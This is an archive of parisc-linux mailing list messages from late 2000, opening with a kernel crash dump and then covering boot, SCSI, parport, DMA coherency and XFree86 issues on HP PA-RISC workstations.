00a0 00000000 c02cbc58 00000000 ccff00ac ccff00ac ccff00b4 c011b7e0 00000000
00c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00e0 00000000 00000000 ccff0000 c011e5d0 00000000 00000003 00000000 00000000
0100 0000002f 00000000 00000032 00000000 00000000 00000000 00000000 00000000
0120 00000000 80000000 00000000 00000000 00000000 00000000 00000000 00000000
0140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
01a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
01c0 00000000 00000000 00000000 fffffeff 00000000 ffffffff 00000000 c027d064
01e0 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff 00800000 05000000
0200 00000000 ffffffff ffffffff ffffffff 00000d00 00000d00 00000400 00000400
0220 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff 00007377 61707065
0240 72000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0260 0000d000 c0269054 c0269054 c0141dc0 00020000 ccffeba0 c02237d8 c02369bc
0280 c02db800 00504d6c 00000000 c011ccdc c027c53c 0000d000 c0269054 c027c53c
02a0 eaa9eaa9 08000059 c027c000 c027c4e8 0000000b 00000024 0000003c 0000003e
02c0 c027c000 00000000 c0100288 00000004 00000000 00000023 c02b5eaf 00000000
02e0 c027c000 08000059 eaa9eaa9 000000ff 00000060 00000030 00000060 00000002
0300 002b2080 00000008 002b58c0 c0268000 00000000 023c3460 c02b08c0 00000001
0320 08000000 00000000 00000000 00000000 00856606 00000000 00000000 00000000
0340 42780000 00000000 431c0000 00000000 4471cccc 00000000 000003c7 00000000
0360 fffffde0 fffffde0 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000
0380 00000000 00000000 41800000 00000000 00000010 00000010 00000000 00000000
03a0 fffffde0 fffffde0 41000000 00000000 40800000 00000000 fffffde0 fffffde0
03c0 41000000 00000000 fffffde0 fffffde0 40800000 00000000 41000000 00000000
03e0 40300000 00000000 40200000 00000000 40200000 00000000 41800000 fffffde0
0400 40000000 00000000 40000000 00000000 40800000 00000000 41000000 00000000
0420 00000000 00000000 ccff0500 c0103c38 00000000 00000000 00000000 00000000
0440 00000000 00000000 c011cccc c011ccd0 40800000 00000000 00282000 00000000
0460 c0281040 c0281064 00000000 c0281204 00000000 00000000 00000000 ccff0478
0480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
04a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
04c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
04e0 00000000 00000000 00000000 c0103c48 00000000 00000000 00000000 00000000
0500 ccff0000 c028160c 00000000 00000000 00000000 00000000 00000000 00000000
0520 00000000 00000000 00000000 c010029c 00000000 00000000 00000000 00000000
0540 00000000 00000000 00000000 00000000 c02b06c0 ccff0000 c028160c 00000000
0560 c02b0000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
0580 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
05a0 00000000 00000000 00000000 c0295098 00000000 00000000 00000000 00000000
05c0 c02b0000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
05e0 00000000 00000000 00000000 c02a4e38 00000000 00000000 00000000 00000000
0600 c02db800 c02cb800 c02ce000 c0268000 c02ca800 00000000 c02b0000 00000000
0620 00000000 00000000 00000000 c02a5678 00000000 00000000 00000000 00000000
0640 c02b0000 c0268000 c02ca800 00000000 c02b0000 ccffec20 00000000 00000000
0660 00000000 00000000 00000000 c02a8ce0 00000000 00000000 00000000 00000000
0680 c02ce000 c0268000 c02ca800 00000000 c02ac6cc c027c6f8 ccf3fee0 00000000
06a0 00000000 00000000 00000000 c010a090 00000000 00000000 00000000 00000000
06c0 00000000 00000000 fffbe000 00000003 00000023 ccf3f6e0 00000000 c02ac394
06e0 c02cae30 00000000 00000000 c010a090 00000000 00000000 00000000 00000000
0700 00000006 c02ac68c c02caef0 ccffb1e0 f0800000 00000014 c0259e84 c0259e88
0720 00000000 00000000 00000000 c02a5ad8 00000000 00000000 00000000 00000000
0740 c02cae30 00000000 ccffb1e0 00000000 f0824000 c027c4dc c0267108 c02670e4
0760 000a5a59 000a5a59 c0295848 c02a8c74 c02cb800 c02ca800 c026e000 c02cae30
0780 c02caef0 c02caef0 f0824800 00000000 00000001 00000000 00000041 00000058
07a0 ffffffff 000a5a59 c0295848 ccff0788 c02cb800 c02ca800 c026e000 00000006
07c0 f0824000 00000058 ccff079c ccffb1e0 00000001 00000000 c0267106 000ff000
07e0 000a5a59 000a5a59 c0295848 c011ccdc c02cb800 c02ca800 c026e000 c02cae30
0800 eaa9eaa9 08000059 c027c000 c027c4e8 0000000b 0000002d 0000003c 0000003e
0820 c027c000 00000001 c02b5eb8 00000004 c02b5e8b 0000002c c02b5eb8 00000000
0840 c027c000 08000059 eaa9eaa9 000000ff 00000060 00000030 00000060 00000002
0860 002b2080 00000008 002b58c0 c0268000 00000000 ccf3ff60 ccffa240 00000001
0880 08000000 00000000 00000000 00000000 00856606 00000000 c0295848 c02db800
08a0 c02cb800 c02ca800 c026e000 f0824800 f0824000 00000058 000003c7 00000000
08c0 fffffde0 fffffde0 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000
08e0 00000000 00000000 41800000 c02a8954 00000010 00000010 00000000 00000000
0900 00000058 f0824800 ccf3ff60 ccffa240 ccff0788 00000000 fffffde0 fffffde0
0920 41000000 00000000 fffffde0 c02a8664 40800000 00000000 41000000 00000000
0940 0000000c ccff0788 f0824800 f0824000 ccff0788 00000000 41800000 fffffde0
0960 40000000 00000000 40000000 c02a875c 40800000 00000000 41000000 00000000

High Priority Machine Check (HPMC): Code=1 regs=c026f080 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000100001011
r0-3     00000000 c01dd000 c02a879c ccff0788
r4-7     0000002c ccffa240 f0824800 ffffffdf
r8-11    ffffffff c027c000 00000000 000a5a59
r12-15   000a5a59 000ff000 f00012a0 00000000
r16-19   00000001 08000059 eaa9eaa9 0000000b
r20-23   000000ff 00000041 ccf3f040 0000000b
r24-27   ffffffff f0824800 f0824800 c0268000
r28-31   00000034 00000e80 ccff0980 c012f460
sr0-4    00000000 00000000 00000000 00000000
sr4-8    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c01dd1cc c01dd1d0
 IIR: e840c000    ISR: 00000000  IOR: c02a879c
ORIG_R28: 00000000


And it appears that the LEDs work, however I'm not familiar enough with them
to know what they all mean or if they should or should not blink, glow, or
cause alarming amounts of pain to those who walk by.


--
Steve Moret
smoret@uci.edu

> -----Original Message-----
> From: Helge Deller [mailto:deller@gmx.de]
> Sent: Thursday, November 30, 2000 4:05 AM
> To: Steve Moret
> Cc: parisc-linux@thepuffingroup.com; parisc-linux@thepuffingroup.com
> Subject: RE: [parisc-linux] HP 9000/735-125
>
>
> Hi Steve,
>
> > My mistake! I did a full build with todays CVS and parport didn't die.
> > So
> > somewhere between the 17th and now parport must have been fixed.
>
> I checked in yesterday a modified version of
> /drivers/parport/parport_gsc.c with an "#if 0 ... #endif" in the code.
> Could you try to boot again with "#if 1" (search for the text which says
> something like "enable bidirectional PS/2 mode") and try again ?
> If this hangs your machine I will implement a better work-around.
>
> >
> > Now, maybe you can help me identify my SCSI problem. I don't know if it
> > is
> > because of driver issues or a bad disk (completly likely).
>
> I think Richard Hirst can help you much more with your SCSI-problems than
> me.
>
> NB: Does your chassis LEDs work with the new kernel, and if not, could you
> send me your bootlog (or "dmesg | grep led") ?
>
> Greetings,
>
> 	Helge
>
> --
> Sent through GMX FreeMail - http://www.gmx.net
>


From - Thu Nov 08 21:14:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree status
Date: Thu, 30 Nov 2000 09:56:46 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <200011301756.JAA29386@milano.cup.hp.com>
References: <E141WIL-0007Ro-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619364 7274 80.91.229.3 (22 Nov 2014 01:22:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@cup.hp.com  Thu Nov 30 10:54:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA21558
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 10:54:46 -0700
Original-Received: (qmail 22626 invoked by uid 15267); 30 Nov 2000 17:57:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21123 invoked from network); 30 Nov 2000 17:56:21 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 17:56:21 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id C6461CD8; Thu, 30 Nov 2000 09:56:20 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA29386;
	Thu, 30 Nov 2000 09:56:47 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 30 Nov 2000 16:10:46 PST."
             <E141WIL-0007Ro-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8681

Alan Cox wrote:
...
> > All HP graphics for PARISC are memory mapped. Both "GSC" and PCI flavors.
> 
> Yes, but if I want to say put an S3 Trio64 in my A180 and a USB card for
> keyboard mouse..,, (and yes these are sitting on my desk)

As long as everyone plays nicely on the PCI bus, it should work.
I would expect it too.

> The OS specific X code in XFree86 knows several ways to talk to Linux

Thanks for the explanation!


> For I/O it seems that on things like the A180 the only way to do it is to use
> /dev/port and pread/pwrite the file handle for each port I/O.
> This is slow but hopefully primarily used for booting the card

I/O port space is *really* slow under Dino. The problem is two writes
are needed to generate the I/O port transaction and since they must be
atomic - spin_lock_irqsave() is invoked around it. HPUX fundementally
does NOT use I/O port space for anything that is performance sensitive.

> (XFree 4.0 has a X86 emulator for booting the BIOS firmware on PCI cards)

And is this emulator running under parisc-linux now? (!)


thanks again,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 17:53:59 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20001130175359.O22285@linuxcare.com>
References: <20001130161115.N22285@linuxcare.com> <FKEGLIIBOIACJOCCAFIMIEFFCCAA.smoret@uci.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619364 7279 80.91.229.3 (22 Nov 2014 01:22:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Steve Moret <smoret@uci.edu>
Original-X-From: rhirst@linuxcare.com  Thu Nov 30 10:56:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA21853
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 10:56:12 -0700
Original-Received: (qmail 25361 invoked by uid 15267); 30 Nov 2000 17:58:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24909 invoked from network); 30 Nov 2000 17:58:19 -0000
Original-Received: from user-83-59.jakinternet.co.uk (HELO rhirst.linuxcare.com) (194.88.83.59)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 17:58:19 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 13584B007; Thu, 30 Nov 2000 17:54:00 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <FKEGLIIBOIACJOCCAFIMIEFFCCAA.smoret@uci.edu>; from smoret@uci.edu on Thu, Nov 30, 2000 at 09:39:17AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8682

On Thu, Nov 30, 2000 at 09:39:17AM -0800, Steve Moret wrote:
> I will go under the assumption that it could be the disks and their possible
> age and try and find suitable replacements.
> 
> Once I do get disks working is there a "Recepe" on how to get it to boot
> from your local drive.
> 
> I would figure just copy over the NFS root, but then where do I put the
> lifimage so that boot manager can find it.
> 
> Until then I'll just keep booting from the network.

There is a README.INSTALL on the 0.5 beta CD image:

ftp://puffin.external.hp.com/pub/parisc/cd-images/palinux-0.5.iso.gz

Richard


From - Thu Nov 08 21:14:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Beard <cjbeard@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Congratulations !!!
Date: Tue, 4 May 1999 11:39:34 +0000 (   )
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9905041130350.5403-100000@sprite>
References: <51FF4AA61868D2119A040060080606B40B18E5@mkl-nt2.mach.uni-karlsruhe.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619365 7283 80.91.229.3 (22 Nov 2014 01:22:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: cjbeard@thepuffingroup.com  Wed Apr 28 03:52:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA14015
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Apr 1999 03:52:29 -0600
Original-Received: (qmail 7385 invoked by uid 15267); 4 May 1999 11:34:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7378 invoked from network); 4 May 1999 11:34:06 -0000
Original-Received: from hse-ott-ppp31326.sympatico.ca (HELO sprite) (209.226.116.235)
  by mailserv2.iuinc.com with SMTP; 4 May 1999 11:34:06 -0000
X-Sender: cjbeard@sprite
In-Reply-To: <51FF4AA61868D2119A040060080606B40B18E5@mkl-nt2.mach.uni-karlsruhe.de>
Xref: news.gmane.org gmane.linux.ports.parisc:8683


> Hello to all You brave people,
> 
> Congratulations to all of You who brought this kernel to life.
> Great job done. I'm really looking forward to what will come...

Just to clarify: The kernel compiles, links, and we can branch to its
entry point.

There is still a lot of work to do before you can install it on your D
class and hope to do anything useful. (I've had a fair number of requests
from people, since the weekend, for a pointer to where they can get the
entire distribution.)

It would perhaps be better to say that it's now taken its first breath,
and will be growing and maturing rather quickly over the next few
months....

Chris


From - Thu Nov 08 21:14:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question on Linux DMA routines
Date: Thu, 30 Nov 2000 10:01:13 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <200011301801.KAA29413@milano.cup.hp.com>
References: <200011301731.JAA29335@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619365 7285 80.91.229.3 (22 Nov 2014 01:22:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:45 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: "Gunneswara Marripudi" <raomg@cup.hp.com>
Original-X-From: grundler@cup.hp.com  Thu Nov 30 10:59:36 2000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA22474
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 10:59:36 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by cosrel1.hp.com (Postfix) with ESMTP id C38556C9
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 11:02:21 -0700 (MST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA29413;
	Thu, 30 Nov 2000 10:01:14 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 30 Nov 2000 09:31:14 PST."
             <200011301731.JAA29335@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8684

Grant Grundler wrote:
...
> The HW *is* fully coherent when the CPU doesn't cache the pages.
> Only systems with PCX-L/L2 CPU (need to) operate this way.
> All other platforms have an I/O MMU which manages the coherency.

Correction - PCX-T and older platforms are not coherent and U-bit
isn't available/useable on those machines. Drivers must do their own
cache flushing. sim700 (LASI SCSI) does this and I think Apricot
(LASI LAN) too. I'm suspecting this might be part of the 735 problems.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 18:01:18 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20001130180118.P22285@linuxcare.com>
References: <00113001105103.00309@P100> <FKEGLIIBOIACJOCCAFIMCEFBCCAA.smoret@uci.edu> <20001130112739.F22285@linuxcare.com> <20001130161115.N22285@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619365 7288 80.91.229.3 (22 Nov 2014 01:22:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Steve Moret <smoret@uci.edu>
Original-X-From: rhirst@linuxcare.com  Thu Nov 30 11:03:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA22997
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 11:03:47 -0700
Original-Received: (qmail 6858 invoked by uid 15267); 30 Nov 2000 18:06:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5303 invoked from network); 30 Nov 2000 18:05:22 -0000
Original-Received: from user-83-59.jakinternet.co.uk (HELO rhirst.linuxcare.com) (194.88.83.59)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 18:05:22 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 228DBB007; Thu, 30 Nov 2000 18:01:18 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001130161115.N22285@linuxcare.com>; from rhirst@linuxcare.com on Thu, Nov 30, 2000 at 04:11:15PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:8685

On Thu, Nov 30, 2000 at 04:11:15PM +0000, Richard Hirst wrote:
> I got my 715/75 to boot.  The scsi driver still has problems with my
> CDROM drive, but the disk seems ok.  I ran mke2fs of a 1Gig partition
> a few times and then copied 200MB of files from the network to it.

The CDROM problem is because my cdrom drive rejects all multi-byte
messages after the first byte, and the driver get confused.  I'll
fix that, but I don't expect that particular fix to help you.

Richard


From - Thu Nov 08 21:14:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 10:07:21 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <200011301807.KAA29437@milano.cup.hp.com>
References: <FKEGLIIBOIACJOCCAFIMIEFFCCAA.smoret@uci.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619366 7291 80.91.229.3 (22 Nov 2014 01:22:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Steve Moret" <smoret@uci.edu>
Original-X-From: grundler@cup.hp.com  Thu Nov 30 11:05:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA23240
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 11:05:17 -0700
Original-Received: (qmail 9690 invoked by uid 15267); 30 Nov 2000 18:07:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8508 invoked from network); 30 Nov 2000 18:07:03 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 18:07:03 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 8FAFBCDC; Thu, 30 Nov 2000 10:07:00 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA29437;
	Thu, 30 Nov 2000 10:07:25 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 30 Nov 2000 09:39:17 PST."
             <FKEGLIIBOIACJOCCAFIMIEFFCCAA.smoret@uci.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8686

"Steve Moret" wrote:
> I will go under the assumption that it could be the disks and their possible
> age and try and find suitable replacements.

Possible - sometimes just jumpers are missing or need to be removed.
Make sure disks spinup on their own first.

I'm not sure Linux SCSI disk driver knows how to deal with
"Not ready" and/or send START_UNIT commands. HPUX definitely does.

> Once I do get disks working is there a "Recepe" on how to get it to boot
> from your local drive.

Yes - the /README.INSTALL on the v0.5 ISO image.
Not sure if that's posted elsewhere on www.parisc-linux.org.

> I would figure just copy over the NFS root, but then where do I put the
> lifimage so that boot manager can find it.

The "palo" step does that for you.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 16:18:46 -0200 (BRST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.1001130161306.19194B-100000@latt.if.usp.br>
References: <200011301807.KAA29437@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619366 7292 80.91.229.3 (22 Nov 2014 01:22:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:46 +0000 (UTC)
Cc: Steve Moret <smoret@uci.edu>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: delyra@latt.if.usp.br  Thu Nov 30 11:16:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA24095
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 11:16:40 -0700
Original-Received: (qmail 30332 invoked by uid 15267); 30 Nov 2000 18:19:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30226 invoked from network); 30 Nov 2000 18:19:03 -0000
Original-Received: from latt.if.usp.br (qmailr@143.107.129.103)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 18:19:03 -0000
Original-Received: (qmail 19422 invoked by uid 1003); 30 Nov 2000 18:18:46 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 30 Nov 2000 18:18:46 -0000
In-Reply-To: <200011301807.KAA29437@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8687

> > I will go under the assumption that it could be the disks and their
> > possible age and try and find suitable replacements.
> 
> Possible - sometimes just jumpers are missing or need to be removed.
> Make sure disks spinup on their own first.
> 
> I'm not sure Linux SCSI disk driver knows how to deal with
> "Not ready" and/or send START_UNIT commands. HPUX definitely does.

The kernel on the v0.5 ISO image did spin up the disk on the SCSI bus when
I tried booting it the first time, right after turning on the machine. It
hangs later, but has no problems at this point... On subsequent tries the
disks were already spinning, of course, so it did nothing...

----------------------------------------------------------------
        Jorge L. deLyra,  Associate Professor of Physics
            The University of Sao Paulo,  IFUSP-DFMA
       For more information: finger delyra@latt.if.usp.br
----------------------------------------------------------------


From - Thu Nov 08 21:14:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 19:21:38 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <00113019213802.00309@P100>
References: <Pine.LNX.3.96.1001130134528.16737A-100000@latt.if.usp.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619366 7297 80.91.229.3 (22 Nov 2014 01:22:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:46 +0000 (UTC)
Cc: assirati@socrates.if.usp.br
To: "Jorge L. deLyra" <delyra@latt.if.usp.br>, parisc-linux@thepuffingroup.com
Original-X-From: deller@gmx.de  Thu Nov 30 11:20:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA24456
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 11:20:19 -0700
Original-Received: (qmail 4275 invoked by uid 15267); 30 Nov 2000 18:22:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4165 invoked from network); 30 Nov 2000 18:22:39 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 18:22:39 -0000
Original-Received: (qmail 2083 invoked by uid 0); 30 Nov 2000 18:22:12 -0000
Original-Received: from pd9040367.dip.t-dialin.net (HELO P100) (217.4.3.103)
  by mail.gmx.net (mail10) with SMTP; 30 Nov 2000 18:22:12 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <Pine.LNX.3.96.1001130134528.16737A-100000@latt.if.usp.br>
Xref: news.gmane.org gmane.linux.ports.parisc:8688

On Thursday 30 November 2000 16:49, Jorge L. deLyra wrote:
> OK, rbootd is up and running, the station now establishes instantaneous
> communication with the server. But it says "bad LIF magic" and does not
> boot. I presume I can't just put the precompiled kernel in there. Since
> I cannot cross-compile for the time being (bad HP server disk crash) is
> there a net-boot kernel somewhere that I can download and try?
>
> 							Cheers,

Hi,

Just a thought: are you shure, that you did "make palo" and exported 
palo/lifimage  instead of vmlinux ?

Greetings,

	Helge.


From - Thu Nov 08 21:14:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Updated hardware FAQ
Date: Thu, 30 Nov 2000 13:28:17 -0500
Organization: The Puffins at Linuxcare
Lines: 440
Approved: news@gmane.org
Message-ID: <3A269C41.C6B250D7@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
